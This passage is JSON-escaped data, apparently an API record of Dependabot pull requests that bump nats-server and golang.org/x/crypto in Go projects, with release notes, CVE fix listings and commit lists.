href=\"https://redirect.github.com/nats-io/nats-server/issues/7489\"\u003e#7489\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt is now possible to reset a consumer back to an earlier sequence number using the \u003ccode\u003e$JS.API.CONSUMER.RESET.stream.consumer\u003c/code\u003e API without deleting and recreating it\u003c/li\u003e\n\u003cli\u003eADR: \u003ca href=\"https://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\"\u003ehttps://github.com/nats-io/nats-architecture-and-design/blob/main/adr/ADR-60.md#consumer-delivery-state-reset-api\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDomain-aware ack and flow control subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7860\"\u003e#7860\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eThis is disabled by default and can be enabled with the \u003ccode\u003ejs_ack_fc_v2\u003c/code\u003e feature flag, this will be enabled by default in v2.15\u003c/li\u003e\n\u003cli\u003eIn an environment where ACLs are used to control ack or flow control subjects, updates will be required to match the new \u003ccode\u003e$JS.ACK.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e and \u003ccode\u003e$JS.FC.domain.acchash.stream.consumer.\u0026gt;\u003c/code\u003e subject formats\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAsynchronous stream state snapshots for replicated streams (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7876\"\u003e#7876\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eAllows stream state snapshots to be taken and written without pausing stream processing, improving tail latencies\u003c/li\u003e\n\u003cli\u003eThis is particularly impactful in cases where the stream has a large number of interior deletes\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAbility to disable message deduplication when sourcing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7651\"\u003e#7651\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eLeafnode remote configurations can now be added and removed at runtime by reloading the configuration (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7937\"\u003e#7937\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eNew \u003ccode\u003eignore_discovered_servers\u003c/code\u003e option for leafnode remotes to allow ignoring any leafnode URLs sent by the hub (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8067\"\u003e#8067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/blob/main/RELEASES.md\"\u003egithub.com/nats-io/nats-server/v2's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eRelease Workflow\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eAs of NATS 2.11, the server follows a 6-month release cycle. 2.11 was released in March 2025.\u003c/li\u003e\n\u003cli\u003eVersion tagging follows semantic versioning with security fixes clearly marked.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emain\u003c/code\u003e branch is for active development of features and bug fixes. Release branches are created for preparing patch releases. Releases are tagged with semantic versions\u003c/li\u003e\n\u003cli\u003eThe current and previous minor series are supported in terms of bug fixes and security patches.\u003c/li\u003e\n\u003cli\u003eBinaries are released via \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003eGitHub Releases\u003c/a\u003e and Docker images are available as an \u003ca href=\"https://hub.docker.com/_/nats\"\u003eofficial image\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003ePreview releases for the next minor version, e.g. 2.14.0, become available once feature development is complete.\u003c/li\u003e\n\u003cli\u003eTagged releases as well as nightly Docker images of \u003ccode\u003emain\u003c/code\u003e (for testing) are available in the \u003ca href=\"https://hub.docker.com/r/synadia/nats-server/tags\"\u003esynadia/nats-server\u003c/a\u003e Docker repository.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0cbd01caf8f29011c26273ff7662addd3830396a\"\u003e\u003ccode\u003e0cbd01c\u003c/code\u003e\u003c/a\u003e Release v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5a8c9cd27146d62141e1b41926743b127834673b\"\u003e\u003ccode\u003e5a8c9cd\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8092\"\u003e#8092\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0f259ff55050639bcdac7843a08c6f214d7f9b7e\"\u003e\u003ccode\u003e0f259ff\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8091\"\u003e#8091\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/aed7baa210c787c33c6a04ddcf46190a424d9020\"\u003e\u003ccode\u003eaed7baa\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8088\"\u003e#8088\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efa4688835a689ede60fc80de916a83c7f499888\"\u003e\u003ccode\u003eefa4688\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8089\"\u003e#8089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e78bbf158e1563a6353c2c10c12cde055444e8ca\"\u003e\u003ccode\u003ee78bbf1\u003c/code\u003e\u003c/a\u003e Fix sign-offs check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/295d052da33e46f96f6034bc1b07c6b69fce262a\"\u003e\u003ccode\u003e295d052\u003c/code\u003e\u003c/a\u003e Add tzdata to nightly Docker image\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b8af43094676f55745fd7132078e93db1f6c9bf7\"\u003e\u003ccode\u003eb8af430\u003c/code\u003e\u003c/a\u003e NRG: tighten append entry length decoding bounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/efbc1d7b4fa594bb7e653af3b19fb41ed249d5cc\"\u003e\u003ccode\u003eefbc1d7\u003c/code\u003e\u003c/a\u003e Add extra test for payload corruption via headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9b2eb668231ef4d2faa52381748ce7921427aaee\"\u003e\u003ccode\u003e9b2eb66\u003c/code\u003e\u003c/a\u003e [FIXED] Double-encoded reply subject in $JS.ACK routing\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.6\u0026new-version=2.14.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/carverauto/serviceradar/pull/3152","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/carverauto%2Fserviceradar/issues/3152","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3152/packages"}},{"old_version":"2.9.15","new_version":"2.11.15","update_type":"minor","path":null,"pr_created_at":"2026-05-02T06:47:23.000Z","version_change":"2.9.15 → 2.11.15","issue":{"uuid":"4368229888","node_id":"PR_kwDOHN8diM7Xm8mV","number":1,"state":"open","title":"Bump the go_modules group across 2 directories with 2 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-02T06:47:23.000Z","updated_at":"2026-05-02T06:47:30.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"go_modules","update_count":2,"packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.9.15","new_version":"2.11.15","repository_url":"https://github.com/nats-io/nats-server"},{"name":"golang.org/x/crypto","old_version":"0.6.0","new_version":"0.49.0"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.9.15","new_version":"2.11.15","repository_url":"https://github.com/nats-io/nats-server"},{"name":"golang.org/x/crypto","old_version":"0.6.0","new_version":"0.49.0"}],"path":null,"ecosystem":"go"},"body":"Bumps the go_modules group with 1 update in the /2023/day2-ops-code/async/generator directory: [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server).\nBumps the go_modules group with 1 update in the /2023/day2-ops-code/async/requestor directory: [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server).\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.9.15 to 2.11.15\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.11.15\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_211\"\u003e2.11 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.10.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.49.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7953\"\u003e#7953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/antithesishq/antithesis-sdk-go v0.6.0-default-no-op\u003c/li\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.4\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.49.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.15\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes CVE-2026-33216, CVE-2026-33217, CVE-2026-33215 (affecting systems using MQTT)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33246 (affects systems using leafnodes and service imports)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33218 (affects systems using leafnodes)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33219 (affects systems using WebSockets)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33223, CVE-2026-33222 (affects systems using JetStream)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33248 (affects systems using mutual TLS)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33247 (affects systems providing credentials on the command line)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33249 (affects systems where client publish permissions should be restricted)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThere is now a 1MB size limit on JWTs (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe stream peer-remove command now accepts a peer ID as well as a server name (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7952\"\u003e#7952\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eProtocol compliance has been improved, including more error handling on invalid or malformed MQTT packets (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7933\"\u003e#7933\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved handling of duplicate headers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/bef17e1d9de6574fae0eabe1798db0d4529834e4\"\u003e\u003ccode\u003ebef17e1\u003c/code\u003e\u003c/a\u003e Release v2.11.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e349b316b7ddb7ea1c970cb800095492d3107e5f\"\u003e\u003ccode\u003ee349b31\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.11.15 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/62\"\u003e#62\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/782a6df61b9faafc6fb22a22e8601db3d46301af\"\u003e\u003ccode\u003e782a6df\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid stalling read loop on leafnode ErrMinimumVersionRequired\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/74a5f6fd2a9303edc04eab481ebd0ee87bd2af9f\"\u003e\u003ccode\u003e74a5f6f\u003c/code\u003e\u003c/a\u003e Remove FIXME about auth callout nonce\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ea8ae87badca22c13445bd526a9ba94c33a93f10\"\u003e\u003ccode\u003eea8ae87\u003c/code\u003e\u003c/a\u003e Message tracing requires client publish permission for \u003ccode\u003eNats-Trace-Dest\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3fd43a0a07d56d8e32f5f01d3032281a6dda22f4\"\u003e\u003ccode\u003e3fd43a0\u003c/code\u003e\u003c/a\u003e Rebuild request info headers on leaf service imports\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/8dbf004d17e944bea68b2a1e194b582921ae108e\"\u003e\u003ccode\u003e8dbf004\u003c/code\u003e\u003c/a\u003e [FIXED] MQTT flappers use monotonic time\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/265a99b9ac09ad682291b9fe3f5a459b0e496a6f\"\u003e\u003ccode\u003e265a99b\u003c/code\u003e\u003c/a\u003e Update JWT and other dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d6d1dd91c3a92a6e7c59e58a9f82ee9a64bd7443\"\u003e\u003ccode\u003ed6d1dd9\u003c/code\u003e\u003c/a\u003e Streaming parsing of WebSocket frames with limited memory allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e6057af102d530ea18f20744447845876749b9b1\"\u003e\u003ccode\u003ee6057af\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid parsing trace headers from HPUB payload\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.9.15...v2.11.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/crypto` from 0.6.0 to 0.49.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/982eaa62dfb7273603b97fc1835561450096f3bd\"\u003e\u003ccode\u003e982eaa6\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/159944f128e9b3fdeb5a5b9b102a961904601a87\"\u003e\u003ccode\u003e159944f\u003c/code\u003e\u003c/a\u003e ssh,acme: clean up tautological/impossible nil conditions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/a408498e55412f2ae2a058336f78889fb1ba6115\"\u003e\u003ccode\u003ea408498\u003c/code\u003e\u003c/a\u003e acme: only require prompt if server has terms of service\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/cab0f718548e8a858701b7b48161f44748532f58\"\u003e\u003ccode\u003ecab0f71\u003c/code\u003e\u003c/a\u003e all: upgrade go directive to at least 1.25.0 [generated]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/2f26647a795e74e712b3aebc2655bca60b2686f9\"\u003e\u003ccode\u003e2f26647\u003c/code\u003e\u003c/a\u003e x509roots/fallback: update bundle\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/e08b06753d6a72f1fe375b6e0fefefb39917c165\"\u003e\u003ccode\u003ee08b067\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/7d0074ccc6f17acbf2ebb10db06d492e08f887dc\"\u003e\u003ccode\u003e7d0074c\u003c/code\u003e\u003c/a\u003e scrypt: fix panic on parameters \u0026lt;= 0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/506e022208b864bc3c9c4a416fe56be75d10ad24\"\u003e\u003ccode\u003e506e022\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/7dacc380ba001e8fe7c3c7a46bf3cbdaa5064df9\"\u003e\u003ccode\u003e7dacc38\u003c/code\u003e\u003c/a\u003e chacha20poly1305: error out in fips140=only mode\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/19acf81bd7bc7b558d18a550e8e023df2c33e742\"\u003e\u003ccode\u003e19acf81\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/golang/crypto/compare/v0.6.0...v0.49.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.9.15 to 2.11.15\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.11.15\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_211\"\u003e2.11 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.10.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.49.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7953\"\u003e#7953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/antithesishq/antithesis-sdk-go v0.6.0-default-no-op\u003c/li\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.4\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.49.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.15\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes CVE-2026-33216, CVE-2026-33217, CVE-2026-33215 (affecting systems using MQTT)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33246 (affects systems using leafnodes and service imports)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33218 (affects systems using leafnodes)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33219 (affects systems using WebSockets)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33223, CVE-2026-33222 (affects systems using JetStream)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33248 (affects systems using mutual TLS)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33247 (affects systems providing credentials on the command line)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33249 (affects systems where client publish permissions should be restricted)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThere is now a 1MB size limit on JWTs (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe stream peer-remove command now accepts a peer ID as well as a server name (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7952\"\u003e#7952\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eProtocol compliance has been improved, including more error handling on invalid or malformed MQTT packets (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7933\"\u003e#7933\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved handling of duplicate headers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/bef17e1d9de6574fae0eabe1798db0d4529834e4\"\u003e\u003ccode\u003ebef17e1\u003c/code\u003e\u003c/a\u003e Release v2.11.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e349b316b7ddb7ea1c970cb800095492d3107e5f\"\u003e\u003ccode\u003ee349b31\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.11.15 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/62\"\u003e#62\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/782a6df61b9faafc6fb22a22e8601db3d46301af\"\u003e\u003ccode\u003e782a6df\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid stalling read loop on leafnode ErrMinimumVersionRequired\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/74a5f6fd2a9303edc04eab481ebd0ee87bd2af9f\"\u003e\u003ccode\u003e74a5f6f\u003c/code\u003e\u003c/a\u003e Remove FIXME about auth callout nonce\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ea8ae87badca22c13445bd526a9ba94c33a93f10\"\u003e\u003ccode\u003eea8ae87\u003c/code\u003e\u003c/a\u003e Message tracing requires client publish permission for \u003ccode\u003eNats-Trace-Dest\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3fd43a0a07d56d8e32f5f01d3032281a6dda22f4\"\u003e\u003ccode\u003e3fd43a0\u003c/code\u003e\u003c/a\u003e Rebuild request info headers on leaf service imports\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/8dbf004d17e944bea68b2a1e194b582921ae108e\"\u003e\u003ccode\u003e8dbf004\u003c/code\u003e\u003c/a\u003e [FIXED] MQTT flappers use monotonic time\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/265a99b9ac09ad682291b9fe3f5a459b0e496a6f\"\u003e\u003ccode\u003e265a99b\u003c/code\u003e\u003c/a\u003e Update JWT and other dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d6d1dd91c3a92a6e7c59e58a9f82ee9a64bd7443\"\u003e\u003ccode\u003ed6d1dd9\u003c/code\u003e\u003c/a\u003e Streaming parsing of WebSocket frames with limited memory allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e6057af102d530ea18f20744447845876749b9b1\"\u003e\u003ccode\u003ee6057af\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid parsing trace headers from HPUB payload\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.9.15...v2.11.15\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `golang.org/x/crypto` from 0.6.0 to 0.49.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/982eaa62dfb7273603b97fc1835561450096f3bd\"\u003e\u003ccode\u003e982eaa6\u003c/code\u003e\u003c/a\u003e go.mod: update golang.org/x dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/159944f128e9b3fdeb5a5b9b102a961904601a87\"\u003e\u003ccode\u003e159944f\u003c/code\u003e\u003c/a\u003e ssh,acme: clean up tautological/impossible nil conditions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/a408498e55412f2ae2a058336f78889fb1ba6115\"\u003e\u003ccode\u003ea408498\u003c/code\u003e\u003c/a\u003e acme: only require prompt if server has terms of service\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/cab0f718548e8a858701b7b48161f44748532f58\"\u003e\u003ccode\u003ecab0f71\u003c/code\u003e\u003c/a\u003e all: upgrade go directive to at least 1.25.0 [generated]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/golang/crypto/commit/2f26647a795e74e712b3aebc2655bca60b2686f9\"\u003e\u003ccode\u003e2f26647\u003c/code\u003e\u003c/a\u003e x509roots/fallback: update bundle\u003c/li\u003e\n\u003cli\u003e\u003ca 